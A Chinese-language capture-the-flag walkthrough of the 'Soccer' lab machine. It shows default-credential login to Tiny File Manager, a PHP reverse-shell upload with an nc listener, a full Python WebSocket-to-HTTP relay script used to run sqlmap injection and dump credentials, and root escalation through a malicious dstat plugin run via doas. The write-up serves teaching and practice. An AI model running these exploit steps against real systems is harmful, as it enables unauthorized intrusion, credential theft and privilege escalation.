kali攻击机tun0ip:10.10.14.36
ping 10.10.11.194
nmap -A 10.10.11.194
开放了80,22,9091端口
访问80端口,浏览器显示域名解析错误
解决方法:
kali攻击机设置本地域名解析
vim /etc/hosts
10.10.11.194 soccer.htb
可以访问了
http://soccer.htb
查看源码,没东西,里面的图片也下载下来看了,没有异常
目录扫描
dirsearch -u http://soccer.htb/ -w /home/user/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt
发现了一个状态码301的目录tiny
是tiny file manager
,一个简单的小型文件管理器
搜索发现,tiny file manager有默认的账号密码
使用默认账号登录
admin admin@123
进来了!
点击tiny目录查看
发现了一个uploads目录,但目录是空的
才发现里有个upload,字有点小,刚刚没发现=_=
文件会上传到 /var/www/html/tiny/uploads 目录下
上传shell.php,我使用的是msf生成的反弹shell
(很有可能会失败,就像这样,出现底下这行字,就是没成功,而且隔一段时间文件就会被删除)
试了很多次,终于好了
上传成功后uploads目录如下
kali攻击机开启监听
nc -lvp 6666
点击shell.php后出现以下页面,点击Open
反弹成功
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'\;
查看开放端口
netstat -lntp
开放了3306,就是数据库服务
目录探测
cd /home
ls
player目录下有个flag,就是没权限看
欸,还有linpeas.sh
,这么简单粗暴吗
./linpeas.sh
发现了个子域名soc-player.soccer.htb
再添加到/etc/hosts
中
比soccer.htb多了个Login的选项
注册一个账号看看
完了之后返回登录就好了
登录成功后出现了一个关于足球的页面,好像是买什么票?不太了解
随便输入点东西,回车
显示ticket doesn't exist
后面怎么点都没反应了,我就重新登录了一下
F12打开开发者工具,刷新界面查看
请求体里面有个WebSocket
WebSocket是什么?
HTTP是运行在TCP协议传输层上的应用协议,而WebSocket是通过HTTP协议协商如何连接,然后独立运行在TCP协议传输层上的应用协议。
Websocket是一个持久化的协议。 WebSocket是 H5
提供的一种全双工网络通讯技术,模拟Socket协议,可以双向发送或接受信息WebSocket的协议标识符是 ws,加密为 wss。
WebSocket和HTTP的关系
- 客户端开始建立WebSocket连接时要发送一个header标记了Upgrade的HTTP请求,表示请求协议升级。所以服务器端做出响应的简便方法是,直接在现有的HTTP服务器软件和现有的端口上实现WebSocket协议,然后再回一个状态码为101的HTTP响应完成握手
WebSocket连接过程(客户端部分)
- 客户端发送一个请求,该请求采用的是标准的HTTP报文格式,且只支持GET方法。
重点请求首部意义如下:
Connection: Upgrade:表示要升级协议 Upgrade: websocket:表示要升级到websocket协议。
Sec-WebSocket-Version: 13:表示websocket的版本。
Sec-WebSocket-Key:与后面服务端响应首部的Sec-WebSocket-Accept是配套的,提供基本的防护,比如恶意的连接,或者无意的连接。
看看源码,发现这个websocket将我们输入的id发送到 url ws://soc-player.soccer.htb:9091
这里我们知道了id参数,联系前面的数据库,自然而然有了一种sqli的感觉
但是因为这里使用的websocket协议,而sqlmap主要支持http协议,想要使用sqlmap自动注入,就需要使用一点特别的方法
在github搜索websocket的sql注入方法
找到了这个链接
里面介绍到几个不同的websocket的sqli脚本
这里看看最底下的博客文章链接,介绍了如何用sqlmap实现自动化注入
blind-sqli-over-websocket-automation
这是原理简介,中文翻译看着有点歧义,最好直接看原文
将以下代码中变量ws_server的值修改为源码中的url :ws://soc-player.soccer.htb:9091
和变量data 中的"employeeID"也要改为"id""
完整代码如下
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
按照教程里的方法继续
pip3 install websocket-client
kali使用这个命令安装websocket-client会报错
按照提示,改用
apt install python3-websocket-client
还是不行
后面想了想,试试直接安装python3-websocket
,居然本来就有了
vim WebSocket.py
写入刚刚的py代码
python3 WebSocket.py
成功运行脚本
新开一个终端,开始sqlmap注入(会有点久)
sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch --dbs
存在注入点
sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch -D soccer_db --tables
sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch -D soccer_db -T accounts --colums
sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 --batch -D soccer_db -T accounts
-C id,email,password,username --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
得到用户密码后,ssh远程登录
目录探测
发现flag
c11aaace5bb99994f132364000701c3c
find / -perm -u=s -type f 2>/dev/null
查看suid权限文件,有个没见过的doas,还排在第一位,说不定是突破口
让我查查doas是个什么
查找doas配置文件
find / -name doas.conf 2>/dev/null
cat /usr/local/etc/doas.conf
这句英文大概就是说,通过执行doas文件,可以使普通用户player以root身份执行/usr/bin/dstat文件
dstat文件权限
再看看dstat是啥,这个链接是dstat的官方文档
dstat
dstat允许用户使用已有插件,也可以写入用户自己的插件
插件使用方法
看看插件的书写格式
cd /usr/share/dstat/
不对,这里不能写入文件
找找用户目录
find / -name dstat 2>/dev/null
有个local,没跑了
cd /usr/local/share/dstat/
写入提权脚本
因为调用插件时plalyer具有root权限,可以直接使用"bash -i
"命令新建一个root权限的bash
vim dstat_getroot.py
import os
os.system('bash -i')
给脚本赋予执行权力
chmod +777 dstat_getroot.py
执行getroot文件
doas /usr/bin/dstat --getroot
成功提权
获得flag
af20a9eced62e60b5469be5ac6f62a84
o了 😃